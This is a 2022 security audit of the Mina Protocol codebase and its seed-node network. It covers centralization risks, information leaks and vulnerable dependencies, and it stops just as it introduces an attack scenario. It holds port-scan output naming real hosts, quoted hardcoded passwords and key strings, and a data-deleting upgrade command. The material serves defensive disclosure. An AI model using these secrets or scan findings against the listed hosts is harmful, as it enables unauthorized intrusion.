Security Report for Mina Protocol
Git Commit:
824122249e151f624b2157a045e1b01ea8673fc2

October 16, 2022

Analysis by Mohammadreza Ashouri
Granola Systems Inc.

Contents

1 Introduction

Mina Foundation engaged Granola Systems Inc. to conduct a security assessment on the open-source [1] code base written in OCaml. The assessment began on June 12th, 2022, and ended on August 31st, 2022. The original intended scope of the report was limited to the public source code of Mina. Granola Systems conducted this assessment to measure security risk and identify vulnerabilities.

Note that this analysis was limited to the security aspects of the project in order to achieve objectives and deliverables within the time and resource constraints.

1.1 Code Statistics

Listing 1 represents the code size summary [2] and the language used for the analyzed repository. The analysis was on the following version:

```
https://github.com/MinaProtocol/mina.git
develop branch
commit: 824122249e151f624b2157a045e1b01ea8673fc2
```

```
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
JSON                            65              9              0         400859
OCaml                         1165          28163          14574         219203
Markdown                       154           4133              0          14563
ReasonML                       140           1233            324          12359
Go                              46           1177            417           9148
Rust                            49           1114            562           7294
HCL                             78           1200            339           5490
JavaScript                      40            861           1178           4292
Python                          40           1057            679           4172
Bourne Shell                   144           1070            459           3606
YAML                            72            147            170           3231
dhall                           72            394            102           2492
Elixir                          37            489            289           2044
SQL                              5           1392           1353           2026
TypeScript                      17            133            234           1310
Nix                             11             83             55            668
make                            15            149             54            447
Jupyter Notebook                 4              0            834            386
HTML                             4             29             14            308
TeX                              5             46             31            256
Dockerfile                      12             92             16            197
C                                2             40             20            159
TOML                            10             28             27            141
Bourne Again Shell               3             16              8             45
CSV                              3              0              0             21
Jinja Template                   1              4              0             21
XML                              1              1              0             18
ANTLR Grammar                    2              3              0             16
SVG                              2              0              0              6
awk                              1              1              2              4
-------------------------------------------------------------------------------
SUM:                          2200          43064          21741         694782
-------------------------------------------------------------------------------
```

Listing 1: The statistics as reported by Cloc

[1] https://github.com/MinaProtocol/mina
[2] https://github.com/AlDanial/cloc

2 Centralization Issues

Blockchain is a technology that uses cryptography, decentralization, and integrity to avoid manipulation by malicious parties. In fact, this is a peer-to-peer network where all users, regardless of any authority, can conduct transactions that are not regulated by anyone; this is ensured by the transparency of the technology.

In this section, we identify weaknesses in the soundness of the decentralization network [6, 4] of Mina.

2.1 Detected Security Issues in the Current Archive Nodes

In Mina, the consensus nodes only store the recent history of the chain before discarding older history. At present, only the last 290 blocks (slots) are necessary to operate a validator node. So, the consensus nodes do not have the historical data of the chain. This is possible because of a recursive zero-knowledge proof algorithm in Mina's design—prior transaction history is not required to prove the current state is valid.

However, the discarding of the chain transactions introduces risks. For example, the problem of accessing this discarded prior transaction history is often necessary for many dApps to function. For instance, crypto wallets require transaction history; also, any app with auctions (e.g. NFT marketplaces) require transaction auditability, and therefore, access to data about various accounts on the chain.

Due to the lack of a rewards mechanism for aggregating data from the nodes, the archiving system of Mina is vulnerable to multiple attacks:

- Due to the low user (block producer) count (in the hundreds), few users are expected to engage in the archiving process. As a result, the archiving system is threatened by a lack of general interruption and lack of support.
- The blockchain history could be manipulated by hackers that configure several archiving nodes (for example, 100 malicious archiving nodes with manipulated block history) and put these forth for use by the community. This kind of manipulation can be used for various criminal activities, such as money laundering.
- The alternative storage solution introduced on Mina, i.e., using Google drive to archive the history, does present another centralization flaw. For instance, these records could be made unavailable by Google, or the associated account may be compromised by hackers. Using centralized storage services degrades the trust model of Mina to that of a server-client-based project.

This archiving mechanism creates a decentralization problem from the security analyst's perspective. The first issue is the lack of incentives. Since there are no rewards associated with running the archive node, there is a chance no one (or too few) will take this responsibility. The second risk is "data manipulation" since there is no motivation associated with running the archive node, a group of malicious users can run an archive node and manipulate their local database to impact the apps such as blockchain explorers or wallets or manipulate the results of any audit on the chain, which is harmful to the safety and correctness of the Mina ecosystem. Thirdly, suppose Mina Foundation decides to run the archive nodes on its servers. In that case, the actual distribution and decentralization of the network become polluted since the company has power over history.

2.2 Centralization Storage Problem

According to the Mina documentation (https://docs.minaprotocol.com), there exists a list of running mainnet nodes that allow new participants to the network to become connected to the Mina

network. The following Google link is recommended on the website in order to initiate an instance of the Mina node and connect its users to the live network:

```
$ mina daemon --peer-list-url https://storage.googleapis.com/mina-seed-lists/
    mainnet_seeds.txt
```

The issue here is the location of the seeds file, which in this case is on Google storage. It is expected to avoid storing potentially core node IPs on a centralization service (such as Google storage). This is due to various security reasons; the IP list can be manipulated if the account of the service owner gets compromised or by a malicious Google employee. Moreover, connecting and using Google services can expose the users to common surveillance methods (e.g., user fingerprinting) installed on centralized services, and there is a risk of censorship imposed by these services. Therefore, by using centralized services for hosting nodes' IPs, there is a chance of interruptions to the Mina network.

2.2.1 Recommendation

It is recommended to store and represent the list of seeds in a decentralized manner. For example, the list can be stored and updated inside of an upgradable smart contract or on a distributed file system with the possibility of a Decentralized Autonomous Organization. Note that zkApps may allow the implementation of the solution, but in the worst case scenario using a third-party chain like Ethereum can be helpful for the time being.

This allows to an upgrade of the list in a truly decentralized manner and keeps the project more transparent and decentralized. Pay attention that some of the file storage solutions such as IPFS or Arweave provide immutable storage, which means the list of the IPs cannot be edited later even though they are decentralized storage.

A quick fix would be substituting Google storage with a server controlled by the Mina Foundation.

2.3 Network Level Security Issues

We have performed a network scan on the IPs listed in the seeds file in order to form an overall idea about the security of the network and potential exploitation. The result can be found below.

According to our scan analysis, it seems some of the machines are not well protected with firewalls, so it was easy to find the open ports, the associated running services, and the OS kernel information by running a quick test. We believe a deep network audit can expose more issues such as exploits on these machines as well.

Attention: If attackers can gain access to some of these machines, they can perform various manipulations of the community or interrupt the network.

```
# https://storage.googleapis.com/mina-seed-lists/mainnet_seeds.txt

/dns4/seed-1.mainnet.o1test.net/tcp/10000/p2p/12
    D3KooWCa1d7G3SkRxy846qTvdAFX69NnoYZ32orWVLqJcDVGHW
/dns4/seed-2.mainnet.o1test.net/tcp/10001/p2p/12
    D3KooWK4NfthViCTyLgVQa1WvqDC1NccVxGruCXCZUt3GqvFvn
/dns4/seed-3.mainnet.o1test.net/tcp/10002/p2p/12
    D3KooWNofeYVAJXA3WGg2qCDhs3GEe71kTmKpFQXRbZmCz1Vr7
/dns4/mina-seed.bitcat365.com/tcp/10001/p2p/12
    D3KooWQzozNTDKL7MqUh6Nh11GMA4pQhRCAsNTRWxCAzAi4VbE
/dns4/mina-seed-1.zkvalidator.com/tcp/8302/p2p/12
    D3KooWSR7LMBSfEk3LQUudmsX27yuRHe9NUxwLumurGF5P1MNS
/dns4/mina-1.figment.io/tcp/8302/p2p/12
    D3KooWSkfwArLtqGMht1a9w3z3QiiqA2E6seBRAk378rvanGRZ
/dns4/mina-seed.staker.space/tcp/8302/p2p/12
    D3KooWCE97fGwuDCicVNK3ZWF8fVzfNezp3uGjmSc8VrRFem6a
/dns4/mina-seed.genesislab.net/tcp/8302/p2p/12
    D3KooWRcHiFQsbYgjPSxtMg4Y9ifrvmCFtJQ8Qztqd3z4L9buU
/dns4/mina-seed.hashquark.io/tcp/8302/p2p/12
    D3KooWRqdbJszoX6AB2E47KR45Kex1RptichA2MDkNSCqX5eb4
```

```
/ip4/95.217.106.189/tcp/8302/p2p/12D3KooWSxxCtzRLfUzoxgRYW9fTKWPUujdvStuwCPSPUN3629mb
/dns4/mina.cloud.p2pvalidator.org/tcp/8302/p2p/12
    D3KooW9qa8CcihmpPbKjN1e8da1RsBS67bExgpVDD9sCjzbHfh
/dns4/mina-seed.dsrvlabs.net/tcp/8302/p2p/12
    D3KooWFTrtiuscobTsJwvShNzBWH56Jt6hWoZTtYqFFyQWFA7c
/dns4/mina-seed-1.nodeasy.com/tcp/10001/p2p/12
    D3KooWRMXtoYktAqkNFd9LkT1XpAJWryqje88owWf9v9SpaayN
/dns4/earth.mina.kelepool.pro/tcp/8302/p2p/12
    D3KooWSBRhKVd9r1JXkRTD4qc9SkNd9ACrRCeW9e6GcDakqHjh
/dns4/seed.minaprotocol.fish/tcp/8302/p2p/12
    D3KooWQHTEXCbS1xxEMFHdALBTA1uLbFPr3okXvUos57d5seHW
/ip4/159.89.96.164/tcp/8302/p2p/12D3KooWCCZkMjQxsBsSLPmAvFC9RGLz4XjKtdvpKmBdr5zpYz6x
/dns4/seed.mina-staked.cloud/tcp/8302/p2p/12
    D3KooWNbeghjwB9MKgVniTv4pqtCbtHxjWpidiaoRiMhow3Mr1
/ip4/47.242.110.4/tcp/8302/p2p/12D3KooWKsgKQRNsptXF7MDJ37FzJ9sz6uACuzow6zTJkyog3bWq
/dns4/seed.minaexplorer.com/tcp/8302/p2p/12
    D3KooWR7coZtrMHvsgsfiWq2GESYypac3i29LFGp6EpbtjxBiJ
/ip4/135.181.63.89/tcp/8302/p2p/12D3KooWNtvMGAvzrDEPBAHhiB7YoSWjPgmLcMmEeLCeoomWT8bT
/dns4/mina-mainnet-seed.staketab.com/tcp/10003/p2p/12
    D3KooWSDTiXcdBVpN12ZqXJ49qCFp8zB1NnovuhZu6A28GLF1J
/dns4/seed.piconbello.com/tcp/10001/p2p/12
    D3KooWRFac2AztcTeen2DYNwnTrmVBvwNDsRiFpDVdTkwdFAHP
/dns4/mina-seed.w3m.one/tcp/10001/p2p/12
    D3KooWFVvahnR3ofaSNX5XZaUQJ1zbrySjNCJP8K1vjBhHWURB
```

The following is the result of a network port scanning on the above IPs, and the details of the exposed services and detected OS are written inside of the log:

```
# Result of scanning on Mina's official web server (minaprotocol.com)

Discovered open port 80/tcp on 188.114.97.9
Discovered open port 53/tcp on 188.114.97.9
Discovered open port 443/tcp on 188.114.97.9
Discovered open port 8080/tcp on 188.114.97.9
Discovered open port 8443/tcp on 188.114.97.9
Another Mina IP is found -> (188.114.97.9)
Host is up (0.044s latency).
Other addresses for minaprotocol.com (not scanned): 188.114.96.9
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
53/tcp   open  domain   ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
| dns-nsid:
|_  bind.version: 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.9
80/tcp   open  http     Cloudflare http proxy
|_http-server-header: cloudflare
|_http-title: Site doesn't have a title.
443/tcp  open  ssl/http Cloudflare http proxy
|_http-title: Site doesn't have a title.
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-favicon: Unknown favicon MD5: B7CCF3AE78FE6FC59950E82D81269B37
| ssl-cert: Subject: commonName=minaprotocol.com
| Subject Alternative Name: DNS:minaprotocol.com
| Issuer: commonName=R3/organizationName=Let's Encrypt/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-05-25T23:23:44
| Not valid after:  2022-08-23T23:23:43
| MD5:   44cc 5337 266a dd8a e266 0e93 6944 7e01
|_SHA-1: f106 1598 5c89 19bc 005d e94b 255a 590b c73a 12d5
|_http-server-header: cloudflare
8080/tcp open  http     Cloudflare http proxy
|_http-server-header: cloudflare
8443/tcp open  ssl/http Cloudflare http proxy
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=minaprotocol.com
| Subject Alternative Name: DNS:minaprotocol.com
```

```
| Issuer: commonName=R3/organizationName=Let's Encrypt/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-05-25T23:23:44
| Not valid after:  2022-08-23T23:23:43
| MD5:   44cc 5337 266a dd8a e266 0e93 6944 7e01
|_SHA-1: f106 1598 5c89 19bc 005d e94b 255a 590b c73a 12d5
|_http-server-header: cloudflare
Service Info: OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:7


Running a quick website check on minaprotocol.com

+ Target IP:          188.114.97.9
+ Target Hostname:    minaprotocol.com
+ Target Port:        80
---------------------------------------------------------------------------
+ Server: cloudflare
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to
    protect against some forms of XSS
+ Uncommon header 'alt-svc' found, with contents: h3=":443"; ma=86400, h3-29=":443"; ma
    =86400
+ Uncommon header 'referrer-policy' found, with contents: same-origin
+ Uncommon header 'cf-ray' found, with contents: 72e388c719a4b335-PRG
+ Uncommon header 'nel' found, with contents: {"success_fraction":0,"report_to":"cf-nel
    ","max_age":604800}
+ Uncommon header 'report-to' found, with contents: {"endpoints":[{"url":"https:\/\/a.
    nel.cloudflare.com\/report\/v3?s=
    p3SCuTuSxL7JNYN4Z0JKBM6jtPhjIo4UCMfDDHfPL9bvS2xdZVbf90wXCKd6E8mS6OHVosgsVm%2
    BV1SncRU1drf%2BApgIfVtT%2FxwzHJCuFERvr7ebHzMKUD26a6BoWEzyOg6Y%3D"}],"group":"cf-nel
    ","max_age":604800}
+ The X-Content-Type-Options header is not set. This could allow the user agent to
    render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none


*** Interesting case [95.217.106.189 one of the mainnet-nodes introduced by Mina on
    Google Storage]
  also there is no could-fare protection, it seems it is not behind of a firewall (or it
     is but with poor configuration)

PORT    STATE  SERVICE VERSION
--> 22/tcp  open   ssh     OpenSSH 8.4p1 Debian 4 (protocol 2.0)  <-- Can be vulnerable
    to bruteforce or exploitation, this port should be blocked on public world normally
| ssh-hostkey:
|   2048 f8:6e:96:7b:40:98:eb:21:5a:7a:59:e3:ff:60:d3:a1 (RSA)
|   256 ec:25:86:c6:4e:73:a3:09:44:35:f9:d3:6b:5b:9f:60 (ECDSA)
|_  256 f9:4e:15:65:e9:6f:ac:2c:9e:78:74:c8:92:e8:fb:81 (ED25519)
53/tcp  open   domain  ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
| dns-nsid:
|_  bind.version: 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.9
80/tcp  closed http
443/tcp closed https
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel, cpe:/o:redhat:enterprise_linux
    :7


*** More interesting results from 135.181.63.89

Scanning static.89.63.181.135.clients.your-server.de (135.181.63.89) [1000 ports]
Discovered open port 53/tcp on 135.181.63.89
Discovered open port 3389/tcp on 135.181.63.89
Discovered open port 80/tcp on 135.181.63.89
Discovered open port 49153/tcp on 135.181.63.89
Discovered open port 49157/tcp on 135.181.63.89
Discovered open port 49161/tcp on 135.181.63.89
```

```
Discovered open port 49165/tcp on 135.181.63.89
Discovered open port 60020/tcp on 135.181.63.89
Completed Connect Scan at 13:32, 15.99s elapsed (1000 total ports)
Initiating Service scan at 13:32
Scanning 8 services on static.89.63.181.135.clients.your-server.de (135.181.63.89)
Service scan Timing: About 50.00% done; ETC: 13:34 (0:01:00 remaining)
Completed Service scan at 13:34, 92.16s elapsed (8 services on 1 host)
NSE: Script scanning 135.181.63.89.
Initiating NSE at 13:34
Completed NSE at 13:34, 8.36s elapsed
Initiating NSE at 13:34
Completed NSE at 13:34, 0.41s elapsed
Initiating NSE at 13:34
Completed NSE at 13:34, 0.00s elapsed


--> static.89.63.181.135.clients.your-server.de (135.181.63.89)
Host is up (0.077s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT      STATE    SERVICE       VERSION
25/tcp    filtered smtp
53/tcp    open     domain        ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
| dns-nsid:
|_  bind.version: 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.9
80/tcp    open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-robots.txt: 1 disallowed entry
|_/
|_http-favicon: Unknown favicon MD5: 92F84F17342CA16FC1211B10325ACA87
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Microsoft-HTTPAPI/2.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
1433/tcp  filtered ms-sql-s
3389/tcp  open     ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-07-21T11:34:39+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: WIN-2PM496QJUJK
|   NetBIOS_Domain_Name: WIN-2PM496QJUJK
|   NetBIOS_Computer_Name: WIN-2PM496QJUJK
|   DNS_Domain_Name: WIN-2PM496QJUJK
|   DNS_Computer_Name: WIN-2PM496QJUJK
|   Product_Version: 10.0.14393
|_  System_Time: 2022-07-21T11:34:31+00:00
| ssl-cert: Subject: commonName=WIN-2PM496QJUJK
| Issuer: commonName=WIN-2PM496QJUJK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-06-23T06:29:00
| Not valid after:  2022-12-23T06:29:00
| MD5:   e8d7 95e3 e4ca 6192 9e08 ce9d c672 acd3
|_SHA-1: 84b6 ddc4 3f2f c191 1d12 60ec 4c7f a81b 53de 7e65
49153/tcp open     unknown
49157/tcp open     unknown
49161/tcp open     unknown
49165/tcp open     unknown
60020/tcp open     msrpc         Microsoft Windows RPC
4 services unrecognized despite returning data. If you know the service/version, please
    submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service
     :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port49153-TCP:V=7.92%I=7%D=7/21%Time=62D9398A%P=x86_64-apple-darwin20.6
SF:.0%r(DNSVersionBindReqTCP,2,"\x05\0")%r(DNSStatusRequestTCP,2,"\x05\0")
SF:%r(LDAPBindReq,2,"\x05\0");
```

```
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port49157-TCP:V=7.92%I=7%D=7/21%Time=62D9398A%P=x86_64-apple-darwin20.6
SF:.0%r(DNSVersionBindReqTCP,2,"\x05\0")%r(DNSStatusRequestTCP,2,"\x05\0")
SF:%r(LDAPBindReq,2,"\x05\0");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port49161-TCP:V=7.92%I=7%D=7/21%Time=62D9398A%P=x86_64-apple-darwin20.6
SF:.0%r(DNSVersionBindReqTCP,2,"\x05\0")%r(DNSStatusRequestTCP,2,"\x05\0")
SF:%r(LDAPBindReq,2,"\x05\0");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port49165-TCP:V=7.92%I=7%D=7/21%Time=62D9398A%P=x86_64-apple-darwin20.6
SF:.0%r(DNSVersionBindReqTCP,2,"\x05\0")%r(DNSStatusRequestTCP,2,"\x05\0")
SF:%r(LDAPBindReq,2,"\x05\0");
Service Info: OSs: Linux, Windows; CPE: cpe:/o:redhat:enterprise_linux:7, cpe:/o:
    microsoft:windows
```

2.4 Potential Issues With the Hard Fork Mechanism

A hard fork occurs when a blockchain's logic changes such that nodes that do not include the new changes will not be able to remain in consensus with nodes that do [5]. Such changes are backward incompatible. Hard forks can be political due to the nature of the upgrades and logistically onerous due to the number (potentially thousands) of nodes in the network that need to upgrade their software. Essentially, a hard fork invalidates the older version of the blockchain protocol. If the older version keeps running, it will end up with a different protocol and data compared to the newer version, which can lead to possible errors and confusion. Because Mina requires old nodes to voluntarily upgrade the process, there seems to be a risk of network incompatibilities and interruptions in this network.

In order to upgrade a node, the following commands need to get executed on the machines running archive nodes:

```
rm -rf ~/.mina-config
wget -O https://github.com/MinaProtocol/mina/blob/develop-until-4.1-hardfork/scripts/
    archive/update_schema.sql ~/update_schema.sql
psql -d archive -f ~/update_schema.sql
```

Note that, the process is entirely manual; in other words, human intervention is required, so that means no guarantee that all nodes perform the commands on an expected time or even perform them at all, especially when there are frequent updates.

2.4.1 Recommendation

It is suggested for future updates, Mina considers using technologies such as WebAssembly for the host execution. It can maintain consensus on a very low level and well-established instruction set. For example, Mina can upgrade its nodes by upgrading the logic stored on-chain and removes the coordination challenge of requiring thousands of node operators to upgrade in advance of a given block number. Moreover, in order to provide a fair ecosystem, Mina stakeholders can propose and approve upgrades through the on-chain governance system, which also enacts them autonomously.

3 Information Leakages

In this section, we share some of the identified information disclosure issues [3] in Mina's public resources (such as the main GitHub repository) and describe how attackers can exploit them. We will also offer tips on preventing information disclosure vulnerabilities for future developments.

3.1 Issue Explanation

Information disclosure, also known as information leakage, occurs when a code, repository, or any public resource unintentionally reveals sensitive information of its users, developers, and internal resources to the public. This exposed information can get exploited by intruders, explicitly or implicitly (e.g., running phishing attacks or reverse engineering on specific targets). Depending on the context, code may leak all kinds of information to a potential attacker, including:

- Data about other users or developers of the protocol or its main components such as IP addresses, private keys, internal communication machines, usernames, or financial information
- Sensitive commercial or business data
- Technical details about the protocol website and its infrastructure that can help hackers to hack the website or other public interfaces and manipulate and exploits the community

The dangers of leaking sensitive user or business data are relatively obvious, but disclosing technical information can sometimes be just as serious. Although some of this information will be of limited use, it can potentially be a starting point for exposing an additional attack surface, which may contain other exciting vulnerabilities. Hackers' knowledge could even provide the missing piece of the puzzle when constructing complex, high-severity attacks.

During our analysis of the Mina main repository [3], we identified disclosure issues that we detail below.

3.2 Credential leakage in PostgreSQL server

```
    let verifier =
      Async.Thread_safe.block_on_async_exn (fun () ->
          Verifier.create ~logger ~proof_level ~constraint_constants
            ~conf_dir:None
            ~pids:(Child_processes.Termination.create_pid_table ()) )

    module Genesis_ledger = (val Genesis_ledger.for_unit_tests)

    let archive_uri =
      Uri.of_string
        (Option.value
           (Sys.getenv "MINA_TEST_POSTGRES")
           ~default:"postgres://admin:codarules@localhost:5432/archiver" )
```

Listing 2: src/app/archive/archive_lib/test.ml

```
let rest\_graphql\_opt =
  create ~name:"--rest-server" ~aliases:[ "rest-server" ]
    ~arg_type:(arg_type ~path:"graphql") doc_builder Optional
end

module Archive = struct
let postgres =
  let doc_builder =
    Doc_builder.create ~display:to_string
      ~examples:
        [ Uri.of_string "postgres://admin:codarules@postgres:5432/archiver"
        ]
      "URI" "URI for postgresql database"
  in
  create ~name:"--postgres-uri" ~aliases:[ "postgres-uri" ]
    ~arg_type:(Command.Arg_type.map Command.Param.string ~f:Uri.of_string)
    doc_builder
```

[3] https://github.com/MinaProtocol/mina

```
    (Resolve_with_default
      (Uri.of_string "postgres://admin:codarules@postgres:5432/archiver")
    )
end
```

Listing 3: /src/lib/cli_lib/flag.ml

3.3 Insecure Web Socket Connection for the Graphql Endpoints

Here in the JavaScript code, there is an insecure connection that seems to be used for querying a graphQL endpoints, this can potentially be monitored in network and potentially get manipulated by attackers.

```
    var defaultQuery = "query MyQuery { \nversion\n}";
    var serverUrl = window.location.host + window.location.pathname;
    var httpServerUrl = "http://" + serverUrl;
    var wsServerUrl = "ws://" + serverUrl;

    // ...

    // Derive a fetch URL from the current URL, sans the GraphQL parameters.
    var graphqlParamNames = {
      query: true,
      variables: true,
      operationName: true
    };

    var otherParams = {};
    for (var k in parameters) {
      if (parameters.hasOwnProperty(k) && graphqlParamNames[k] !== true) {
        otherParams[k] = parameters[k];
      }
    }
    // Defines a GraphQL fetcher using the fetch API.
    function graphQLFetcher(graphQLParams) {
      return fetch(httpServerUrl, {
        method: 'post',
        headers: {
          'Accept': 'application/json',
          'Content-Type': 'application/json'
        },
        body: JSON.stringify(graphQLParams),
      }).then(function (response) {
        return response.text();
      }).then(function (responseBody) {
        try {
          return JSON.parse(responseBody);
        } catch (error) {
          return responseBody;
        }
      });
    }

    // ...

    var subscriptionsClient = new SubscriptionsTransportWs.SubscriptionClient(
    wsServerUrl, { reconnect: true });

    var subscriptionsFetcher = GraphiQLSubscriptionsFetcher.graphQLFetcher(
    subscriptionsClient, graphQLFetcher);

    // Render <GraphiQL /> into the body.
    ReactDOM.render(
      React.createElement(GraphiQLWithExtensions.default, {
        fetcher: subscriptionsFetcher,
        onEditQuery: onEditQuery,
```

```
        onEditVariables: onEditVariables,
        onEditOperationName: onEditOperationName,
        query: parameters.query || defaultQuery,
        response: parameters.response,
        variables: parameters.variables,
        operationName: parameters.operationName,
        serverUrl: httpServerUrl,
        explorerIsOpen: true,
        exporterIsOpen: true,
      }),
      document.body
    );
```

Listing 4: src/app/cli/src/init/assets/index_extensions.html

```
let make_callback :
      (Cohttp.Request.t -> 'ctx) -> 'ctx Schema.schema -> 'conn callback =
   fun make_context schema _conn (req : Cohttp.Request.t) body ->
    let req_path = Cohttp.Request.uri req |> Uri.path in
    let path_parts = Astring.String.cuts ~empty:false ~sep:"/" req_path in
    let headers = Cohttp.Request.headers req in
    let accept_html =
      match Cohttp.Header.get headers "accept" with
      | None ->
          false
      | Some s ->
          List.mem "text/html" (String.split_on_char ',' s)
    in
    match (req.meth, path_parts, accept_html) with
    | `GET, [ "graphql" ], true ->
        static_file_response "index_extensions.html"
    | `GET, [ "graphql" ], false ->
        if
          Cohttp.Header.get headers "Connection" = Some "Upgrade"
          && Cohttp.Header.get headers "Upgrade" = Some "websocket"
        then
          let handle_conn =
            Websocket_transport.handle (execute_query (make_context req) schema)
          in
          Io.return (Ws.upgrade_connection req handle_conn)
        else execute_request schema (make_context req) req body
    | `GET, [ "graphql"; path ], _ ->
        static_file_response path
    | `POST, [ "graphql" ], _ ->
        execute_request schema (make_context req) req body
    | _ ->
        respond_string ~status:`Not_found ~body:"" ()
end


    var defaultQuery = "query MyQuery { \nversion\n}";
    var serverUrl = window.location.host + window.location.pathname;
    var httpServerUrl = "http://" + serverUrl;
```

Listing 5: /src/app/cli/src/init/graphql_internal.ml

3.4 Potential Information Leaks in the Source Code

We found another information leak in one of the bash scripts that resided in the public repository for Mina. We are not fully sure about this claim, but it seems it has been forgotten to remove the local setup against in the code; before publishing that publicly, the bash script contains some information about the host operating system (windows), the installation paths, and "private pass" as well as "seed per key", which seems to be exploitable.

```
#!/usr/bin/env bash
```

```
# set -x

# exit script when commands fail
set -e
# kill background process when script closes
trap "killall background" EXIT

# =================================================
# Constants

MINA=_build/default/src/app/cli/src/mina.exe
LOGPROC=_build/default/src/app/logproc/logproc.exe

export MINA_PRIVKEY_PASS='naughty blue worm'
SEED_PEER_KEY="CAESQNf7ldToowe604aFXdZ76GqW/XVlDmnXmBT+otorvIekBmBaDWu/6ZwYkZzqfr+3
    IrEh6FLbHQ3VSmubV9I9Kpc=,CAESIAZgWg1rv+mcGJGc6n6/tyKxIehS2x0N1Uprm1fSPSqX,12
    D3KooWAFFq2yEQFFzhU5dt64AWqawRuomG9hL8rSmm5vxhAsgr"

SNARK_WORKER_FEE=0.01

TRANSACTION_FREQUENCY=5

SEED_START_PORT=3000
WHALE_START_PORT=4000
FISH_START_PORT=5000
NODE_START_PORT=6000
```

Listing 6: /scripts/run-local-network.sh

3.4.1 Recommendations

Preventing information disclosure entirely is thorny due to the variety of ways it can occur. However, there are some general best practices that the team of the Mina Foundation can follow to minimize the risk of these vulnerabilities.

- Make sure that everyone involved in producing the code, website, or documents is fully aware of what information is considered sensitive. Sometimes seemingly harmless information can be much more useful to an attacker than people realize. Highlighting these dangers can help ensure that your organization handles sensitive information more securely.
- Audit any code for potential information disclosure as part of your QA or build processes. It should be relatively easy to automate some associated tasks, such as stripping developer comments.
- Use generic error messages as much as possible. Do not provide attackers with clues about application behavior unnecessarily.
- Double-check that any debugging or diagnostic features are disabled in the production environment.
- Make sure you fully understand the configuration settings and security implications of any third-party technology you implement. Take the time to investigate and disable any features and settings you do not need.
- Scans the repositories to check for accidentally committed secrets. Identifying and fixing such vulnerabilities helps to prevent attackers from finding and fraudulently using the secrets to access services with the compromised account's privileges.

As a quick solution to address the information leaks in the code and for future developments, we would recommend using one of the GitHub OSINT tools such as GitDorker [4].

[4] https://github.com/obheda12/GitDorker

GitDorker is a tool that utilizes the GitHub Search API and an extensive list of GitHub dorks compiled from various sources to provide an overview of sensitive information stored on GitHub given a search query.

The Primary purpose of GitDorker is to provide the user with a clean and tailored attack surface to begin harvesting sensitive information on GitHub. GitDorker can be used with additional tools such as GitRob or Trufflehog.

In order to control any information leaks, you can use the tool with Docker by executing the following commands:

```
## Build Command
docker build -t gitdorker .

## Basic Run Command
docker run -it gitdorker

## Run Command
docker run -it -v $(pwd)/tf:/tf gitdorker -tf tf/TOKENSFILE -q minaprotocol.com -d dorks
    /DORKFILE -o tesla

## Run Command
docker run -it -v $(pwd)/tf:/tf xshuden/gitdorker -tf tf/TOKENSFILE -q minaprotocol.com
    -d dorks/DORKFILE -o tesla
```

Listing 7: GitDorker

4 General Security Issues in the Codebase

In this part, we share the result of our assessment of more generic security issues. Note that some of these issues have been found in third-party libraries our of the core OCaml modules, for instance, in the front-end layer. However, the can introduce security issues to the ecosystem of Mina. Thus, we shared the issues here.

4.1 Vulnerable Implementation of Elliptic Cryptographic Algorithm (<=6.5.3)

This issue has been found in the following path in the Mina main repository :

```
/src/lib/crypto/kimchi_bindings/js/js_backend/elliptic_curve.js
```

Note that Elliptic is a fast elliptic-curve cryptography in a plain JavaScript implementation. Hence, many projects use this algorithm for the encryptions. The version of the libraries found in the Mina frontend is vulnerable to a cryptographic issues by the secp256k1 implementation in this file :

```
elliptic/ec/key.js
```

In this vulnerable implementation there is no check to confirm that the public key point passed into the "derive" function exists on the secp256k1 curve. This can lead in the potential private key leaks.

For more details please read the this issue [5].

4.2 Incorrect Authorization Attack Caused by Using Cross-Fetch (V 3.0.6) In the Front-End Layer

A cookie is a standard way to authenticate into a web app, and you should not leak to another site. All browsers follow the same-origin policy so that when a redirect happens, the browser does not send a cookie, for example, https://minaprotocol.com/, to https://attacker.com. The cookie header

[5] https://github.com/indutny/elliptic/commit/441b7428b0e8f6636c42118ad2aaa186d3c34c3f

can leak to third parties, allowing hackers to hijack a victim's account. The issues have been found in the following file:

```
/automation/bin/genesis-import
```

The attack would be when fetching a remote URL with Cookie. If it gets the Location response header, then it will follow that URL and try to convey that URL with a provided cookie. Hence, the cookie is leaked here to a third party that can be an attacker.

For example, if you try to fetch

```
https://minaprotocol.com/
```

with a cookie, and if it gets a redirect URL to attacker.com then the attacker fetches that redirect URL with a provided cookie. Therefore, the cookie of the URL is leaked to attacker.com.

Here is a sample attack scenario to illustrate the detected security issue:

